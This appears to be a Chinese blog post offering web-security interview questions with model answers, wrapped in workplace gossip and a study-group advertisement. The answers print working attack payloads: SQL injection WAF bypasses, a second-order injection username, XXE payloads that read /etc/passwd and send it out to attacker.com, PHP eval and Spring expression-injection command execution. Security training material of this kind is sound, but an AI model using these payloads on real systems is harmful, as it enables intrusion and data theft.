最近一系列的这样的信息啊,这是脉脉小伙伴传出来的消息,知道的小伙伴可以在评论区冒个泡。
据说是没有通知,是HR口头通知的。
这里我们不贩卖焦虑,行情确实很差,老板可能确实要给投资人交作业。
但是辛苦一年的牛马们,可能就靠这点年终奖存点钱吧。
网络安面试题库截止目前已更新78篇,近18w字,里面包含了网安的职业规划、面试准备篇幅、学习方向、求职名单、应届生面试题库、应届生笔试题库、国内外安全企业介绍、以及社会背调等。
文末有彩蛋
这是小伙伴去年面试末信的面试题,来看看难度:
这些题呢?
问题1:
如何利用基于时间的盲注绕过WAF进行数据库指纹识别?请详细说明攻击原理,并给出至少3种现代WAF的绕过技巧。
答案:
原理:通过构造条件语句触发数据库延时函数(如MySQL的 SLEEP()
),根据响应时间差异判断条件真假。绕过技巧:
分块传输编码:利用HTTP协议分块传输绕过正则检测 Unicode编码混淆: SLEEP(5)
→u0053u004cu0045u0045u0050(5)
参数污染: id=1&id=sleep(5)--
利用后端参数解析特性注释符内联: /*!50000SLEEP(5)*/
(MySQL版本特性)
问题2:
某系统使用预处理语句防御SQL注入,但仍存在二次注入漏洞。请分析其成因,并说明如何通过用户注册功能实现数据库篡改。
答案:
成因:数据存储时未过滤,后续拼接时触发注入。预处理仅防御即时查询,无法阻止存储的恶意数据被复用。 攻击步骤:
注册用户名: admin'--
(含单引号)修改密码时触发SQL: UPDATE users SET password='xxx' WHERE username='admin'-- '
实际执行语句修改admin用户密码
问题3:
给出以下XML解析代码,如何构造恶意XML实现/etc/passwd读取并外传数据?防御方案需修改哪些代码?
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new InputSource(inputStream));
答案:
攻击Payload:
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfil;</root>
防御方案:
禁用DTD: dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
禁用外部实体: dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
问题4:
如何通过DNS外带检测无回显的XXE漏洞?给出具体步骤及需要监控的日志类型。
答案:
构造恶意DTD触发DNS查询:
<!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%payload;'>">
监控点:
DNS服务器日志(如dig查询记录) Web服务器访问日志(含base64参数)
ftp://attacker.com/%payload
(部分解析器支持)问题5:
某PHP系统使用eval("echo $userInput;")
,如何构造输入实现RCE?给出两种不同技术路线的Payload并说明修复方案。
答案:
Payload 1(动态函数调用): ';system($_GET["cmd"]);//
→eval("echo '';system($_GET["cmd"]);//");
Payload 2(反引号执行): ".
$_GET[cmd]."
→ 触发shell命令执行修复:
禁用 eval()
或严格过滤输入(白名单)设置 disable_functions=system,exec
问题6:
某Spring MVC应用使用@ResponseBody
返回name=${param.user}
,攻击者如何利用此漏洞实现任意文件读取?给出完整利用链。
答案:
利用步骤:
触发EL表达式: user=__${T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd")}__
利用 ScriptEngine
执行JS代码:user=#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('cmd')")}
@ResponseBody
时禁用表达式解析(Spring Security配置)星球介绍
一个人走的很快,但一群人才能地的更远。吉祥同学学安全这个成立了1年左右,已经有500+的小伙伴了,如果你是网络安全的学生、想转行网络安全行业、需要网安相关的方案、ppt,戳快加入我们吧。系统性的知识库已经有:++++++++
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...